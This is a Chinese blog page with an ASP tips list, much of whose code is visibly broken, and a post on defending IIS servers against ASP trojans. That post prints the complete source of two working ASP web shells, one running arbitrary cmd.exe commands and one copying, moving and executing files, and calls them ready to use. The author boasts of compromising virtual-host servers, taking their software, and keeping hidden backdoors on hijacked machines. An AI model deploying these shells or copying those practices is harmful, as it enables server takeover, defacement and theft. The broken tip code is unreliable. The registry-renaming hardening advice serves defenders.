预览模式: 普通 | 列表

ASP编程中20个非常有用的例子

1.如何用Asp判断你的网站的虚拟物理路径 

答:使用Mappath方法 < p align="center" >< font size="4" face="Arial" >< b > 
The Physical path to this virtual website is: 
< /b >< /font > 
< font color="#FF0000" size="6" face="Arial" > 
< %= Server.MapPath("\"% > 
< /font >< /p > 
2.我如何知道使用者所用的浏览器? 
答:使用the Request object方法 
strBrowser=Request.ServerVariables("HTTP_USER_AGENT" 
If Instr(strBrowser,"MSIE" < > 0 Then 
Response.redirect("ForMSIEOnly.htm" 
Else 
Response.redirect("ForAll.htm" 
End If 

3.如何计算每天的平均反复访问人数 

答:解决方法 

< % startdate=DateDiff("d",Now,"01/01/1990" 
if strdate< 0 then startdate=startdate*-1 
avgvpd=Int((usercnt)/startdate) % > 
显示结果 

< % response.write(avgvpd) % > 
that is it.this page have been viewed since November 10,1998 
4.如何显示随机图象 

< % dim p,ppic,dpic 
ppic=12 
randomize 
p=Int((ppic*rnd)+1) 
dpic="graphix/randompics/"&p&".gif" 
% > 
显示 

< img src="< %=dpic% >" > 
5.如何回到先前的页面 

答:< a href="< %=request.serverVariables("Http_REFERER"% >" >preivous page< /a > 

或用图片如:< img src="arrowback.gif" alt="< %=request.serverVariables("HTTP_REFERER"% >" > 

6.如何确定对方的IP地址 

答:< %=Request.serverVariables("REMOTE_ADDR)% > 

7.如何链结到一副图片上 

答:< % @Languages=vbs cript % > 
< % response.expires=0 
strimagename="graphix/errors/erroriamge.gif" 
response.redirect(strimagename) 
% > 

8.强迫输入密码对话框 

答:把这句话放载页面的开头 

< % response.status="401 not Authorized" 
response.end 
% > 
9.如何传递变量从一页到另一页 

答:用 HIDDEN 类型来传递变量 

< % form method="post" action="mynextpage.asp" > 
< % for each item in request.form % > 
< input namee="< %=item% >" type="HIDDEN" 
value="< %=server.HTMLEncode(Request.form(item)) % >" > 
< % next % > 
< /form > 
10.为何我在 asp 程序内使用 msgbox,程序出错说没有权限 

答:由于 asp 是服务器运行的,如果可以在服务器显示一个对话框,那么你只好等有人按了确定之后,你的程序才能继续执行,而一般服务器不会有人守着,所以微软不得不禁止这个函数,并胡乱告诉你 ( 呵呵) 没有权限。但是ASP和客户端脚本结合倒可以显示一个对话框,as follows: 

< % yourVar="测试对话框"% > 
< % s cript language=''javas cript'' > 
alert("< %=yourvar% >" 
< /s cript > 

11.有没有办法保护自己的源代码,不给人看到 

答:可以去下载一个微软的Windows s cript Encoder,它可以对asp的脚本和客户端javas cript/vbs cript脚本进行加密。。。不过客户端加密后,只有ie5才能执行,服务器端脚本加密后,只有服务器上安装有s cript engine 5(装一个ie5就有了)才能执行。 

12.怎样才能将 query string 从一个 asp 文件传送到另一个? 

答:前者文件加入下句: Response.Redirect("second.asp?" & Request.ServerVariables("QUERY_STRING") 

13.global.asa文件总是不起作用? 

答:只有web目录设置为web application, global.asa才有效,并且一个web application的根目录下 global.asa才有效。IIS4可以使用Internet Service Manager设置application setting 怎样才能使得htm文件如同asp文件一样可以执行脚本代码? 

14.怎样才能使得htm文件如同asp文件一样可以执行脚本代码? 

答:Internet Sevices Manager - > 选择default web site - >右鼠键- >菜单属性-〉主目录- > 应用程序设置(Application Setting)- > 点击按钮 "配置"- > app mapping - >点击按钮"Add" - > executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.Delete 全部确定即可。但是值得注意的是这样对htm也要由asp.dll处理,效率将降低。 

15.如何注册组件 

答:有两种方法。 

第一种方法:手工注册 DLL 这种方法从IIs 3.0一直使用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行,进入到包含有DLL的目录,并输入:regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上使用了,但是这个方法有一个缺陷。当使用这种方法注册完毕组件后,该组件必须要相应的设置NT的匿名帐号有权限执行这个dll。特别是一些组件需要读取注册表,所以,这个注册组件的方法仅仅是使用在服务器上没有MTS的情况下,要取消注册这个dll,使用:regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll 

第二种方法:使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色,但是它提供了巨大的改进。MTS允许你指定只有有特权的用户才能够访问组件,大大提高了网站服务器上的安全性设置。在MTS上注册组件的步骤如下: 

1) 打开IIS管理控制台。 

2) 展开transaction server,右键单击"pkgs installed"然后选择"new package"。 

3) 单击"create an empty package"。 

4) 给该包命名。 

5) 指定administrator帐号或则使用"interactive"(如果服务器经常是使用administrator 登陆的话)。 

6) 现在使用右键单击你刚建立的那个包下面展开后的"components"。选择 "new then component"。 

7) 选择 "install new component" 。 

8) 找到你的.dll文件然后选择next到完成。 

要删除这个对象,只要选择它的图标,然后选择delete。 

附注:特别要注意第二种方法,它是用来调试自己编写组件的最好方法,而不必每次都需要重新启动机器了。

16. ASP与Access数据库连接: 

<%@ language=VBs cript%> 
<% 
dim conn,mdbfile 
mdbfile=server.mappath("数据库名称.mdb" 
set conn=server.createobject("adodb.connection" 
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile 
%> 

17. ASP与SQL数据库连接: 

<%@ language=VBs cript%> 
<% 
dim conn 
set conn=server.createobject("ADODB.connection" 
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称 
%> 

建立记录集对象: 

set rs=server.createobject("adodb.recordset" 
rs.open SQL语句,conn,3,2 

18. SQL常用命令使用方法: 

(1) 数据记录筛选: 

sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]" 
sql="select * from 数据表 where 字段名 like ''%字段值%'' order by 字段名 [desc]" 
sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]" 
sql="select * from 数据表 where 字段名 in (''值1'',''值2'',''值3'')" 
sql="select * from 数据表 where 字段名 between 值1 and 值2" 

(2) 更新数据记录: 

sql="update 数据表 set 字段名=字段值 where 条件表达式" 
sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式" 

(3) 删除数据记录: 

sql="delete from 数据表 where 条件表达式" 
sql="delete from 数据表" (将数据表所有记录删除) 

(4) 添加数据记录: 

sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)" 
sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表) 

(5) 数据记录统计函数: 

AVG(字段名) 得出一个表格栏平均值 

COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计 

MAX(字段名) 取得一个表格栏最大的值 

MIN(字段名) 取得一个表格栏最小的值 

SUM(字段名) 把数据栏的值相加 

引用以上函数的方法: 

sql="select sum(字段名) as 别名 from 数据表 where 条件表达式" 
set rs=conn.excute(sql) 

用 rs("别名" 获取统的计值,其它函数运用同上。 

(5) 数据表的建立和删除: 

Create TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… ) 
例:Create TABLE tab01(name varchar(50),datetime default now()) 
Drop TABLE 数据表名称 (永久性删除一个数据表) 

19. 记录集对象的方法: 

rs.movenext 将记录指针从当前的位置向下移一行 

rs.moveprevious 将记录指针从当前的位置向上移一行 

rs.movefirst 将记录指针移到数据表第一行 

rs.movelast 将记录指针移到数据表最后一行 

rs.absoluteposition=N 将记录指针移到数据表第N行 

rs.absolutepage=N 将记录指针移到第N页的第一行 

rs.pagesize=N 设置每页为N条记录 

rs.pagecount 根据 pagesize 的设置返回总页数 

rs.recordcount 返回记录总数 

rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否 

rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否 

rs.delete 删除当前记录,但记录指针不会向下移动 

rs.addnew 添加记录到数据表末端 

rs.update 更新数据表记录 

--------------------------------------- 

20. Recordset对象方法 

Open方法 

recordset.Open Source,ActiveConnection,CursorType,LockType,Options 

Source 

Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored Procedure。假如省略这个参数,系统则采用Recordset对象的Source属性。 

ActiveConnection 

Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息(ConnectionString)的字符串参数。 

CursorType 

Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数据,包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic,分述如下: 

-------------------------------------------------------------- 

常数 常数值 说明 

------------------------------------------------------------- 

adOpenForwardOnly 0 缺省值,启动一个只能向前移动的游标(Forward Only)。 

adOpenKeyset 1 启动一个Keyset类型的游标。 

adOpenDynamic 2 启动一个Dynamic类型的游标。 

adOpenStatic 3 启动一个Static类型的游标。 

------------------------------------------------------------- 

以上几个游标类型将直接影响到Recordset对象所有的属性和方法,以下列表说明他们之间的区别。 

------------------------------------------------------------- 

Recordset属性 adOpenForwardOnly adOpenKeyset adOpenDynamic adOpenStatic 

------------------------------------------------------------- 

AbsolutePage 不支持 不支持 可读写 可读写 

AbsolutePosition 不支持 不支持 可读写 可读写 

ActiveConnection 可读写 可读写 可读写 可读写 

BOF 只读 只读 只读 只读 

Bookmark 不支持 不支持 可读写 可读写 

CacheSize 可读写 可读写 可读写 可读写 

CursorLocation 可读写 可读写 可读写 可读写 

CursorType 可读写 可读写 可读写 可读写 

EditMode 只读 只读 只读 只读 

EOF 只读 只读 只读 只读 

Filter 可读写 可读写 可读写 可读写 

LockType 可读写 可读写 可读写 可读写 

MarshalOptions 可读写 可读写 可读写 可读写 

MaxRecords 可读写 可读写 可读写 可读写 

PageCount 不支持 不支持 只读 只读 

PageSize 可读写 可读写 可读写 可读写 

RecordCount 不支持 不支持 只读 只读 

Source 可读写 可读写 可读写 可读写 

State 只读 只读 只读 只读 

Status 只读 只读 只读 只读 

AddNew 支持 支持 支持 支持 

CancelBatch 支持 支持 支持 支持 

CancelUpdate 支持 支持 支持 支持 

Clone 不支持 不支持 

Close 支持 支持 支持 支持 

Delete 支持 支持 支持 支持 

GetRows 支持 支持 支持 支持 

Move 不支持 支持 支持 支持 

MoveFirst 支持 支持 支持 支持 

MoveLast 不支持 支持 支持 支持 

MoveNext 支持 支持 支持 支持 

MovePrevious 不支持 支持 支持 支持 

NextRecordset 支持 支持 支持 支持 

Open 支持 支持 支持 支持 

Requery 支持 支持 支持 支持 

Resync 不支持 不支持 支持 支持 

Supports 支持 支持 支持 支持 

Update 支持 支持 支持 支持 

UpdateBatch 支持 支持 支持 支持 

-------------------------------------------------------------- 

其中NextRecordset方法并不适用于Microsoft Access数据库。 

LockType 

Recordset对象Open方法的LockType参数表示要采用的Lock类型,如果忽略这个参数,那么系统会以Recordset对象的LockType属性为预设值。LockType参数包含adLockReadOnly、adLockPrssimistic、adLockOptimistic及adLockBatchOptimistic等,分述如下: 

------------------------------------------------------------- 

常数 常数值 说明 

-------------------------------------------------------------- 

adLockReadOnly 1 缺省值,Recordset对象以只读方式启动,无法运行AddNew、Update及Delete等方法 

adLockPrssimistic 2 当数据源正在更新时,系统会暂时锁住其他用户的动作,以保持数据一致性。 

adLockOptimistic 3 当数据源正在更新时,系统并不会锁住其他用户的动作,其他用户可以对数据进行增、删、改的操作。 

adLockBatchOptimistic 4 当数据源正在更新时,其他用户必须将CursorLocation属性改为adUdeClientBatch才能对数据进行增、 

删、改的操作

Tags: asp

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2864

服务器如何防范asp木马

随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。
以下是第一款木马的代码:
<title>ASP Shell</title> 
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using -- 
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted -- 
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file -- 
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file -- 
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
运行后如下图: 在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。
但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了:
Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。
大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。
接下来让我们再来看下一款ASP后门木马程序的代码:
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %> 
<%response.write now()%><BR>程序所在的物理路径: 
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 
<html> 
<title>asps shell.application backdoor </title> 
<body> 
<form action="<%= Request.ServerVariables("URL") %>" method="POST"> 
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br> 
<input type=text name=text1 value="<%=szCMD1 %>"> 
copy 
<input type=text name=text2 value="<%=szCMD2 %>"><br> 
<input type=text name=text3 value="<%=szCMD3 %>"> 
move 
<input type=text name=text4 value="<%=szCMD4 %>"><br> 
路径:<input type=text name=text5 value="<%=szCMD5 %>"> 
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br> 
<input type=submit name=sb value=发送命令> 
</form> 
</body> 
</html> 
<% 
szCMD = Request.Form("text") 目录浏览 
if (szCMD <> "") then 
set shell=server.createobject("shell.application") 建立shell对象 
set fod1=shell.namespace(szcmd) 
set foditems=fod1.items 
for each co in foditems 
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" 
next 
end if 
%> <% 
szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝 
szCMD2 = Request.Form("text2") 
if szcmd1<>"" and szcmd2<>"" then 
set shell1=server.createobject("shell.application") 建立shell对象 
set fod1=shell1.namespace(szcmd2) 
for i=len(szcmd1) to 1 step -1 
if mid(szcmd1,i,1)="" then 
path=left(szcmd1,i-1) 
exit for 
end if 
next 
if len(path)=2 then path=path & "" 
path2=right(szcmd1,len(szcmd1)-i) 
set fod2=shell1.namespace(path) 
set foditem=fod2.parsename(path2) 
fod1.copyhere foditem 
response.write "command completed success!" 
end if 
%> <% 
szCMD3 = Request.Form("text3") 目录移动 
szCMD4 = Request.Form("text4") 
if szcmd3<>"" and szcmd4<>"" then 
set shell2=server.createobject("shell.application") 建立shell对象 
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 
if mid(szcmd3,i,1)="" then 
path=left(szcmd3,i-1) 
exit for 
end if 
next if len(path)=2 then path=path & "" 
path2=right(szcmd3,len(szcmd3)-i) 
set fod2=shell2.namespace(path) 
set foditem=fod2.parsename(path2) 
fod1.movehere foditem 
response.write "command completed success!" 
end if 
%> 
<% 
szCMD5 = Request.Form("text5") 执行程序要指定路径 
szCMD6 = Request.Form("text6") 
if szcmd5<>"" and szcmd6<>"" then 
set shell3=server.createobject("shell.application") 建立shell对象 
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb 
response.write "command completed success!" 
end if 
%>
要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。

最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。
言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:set shell=server.createobject("shell.application"),跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)

其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
注:以上代码复制保存为ASP文件就可以直接使用了。

Tags: asp

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 3647

 广告位

↑返回顶部↑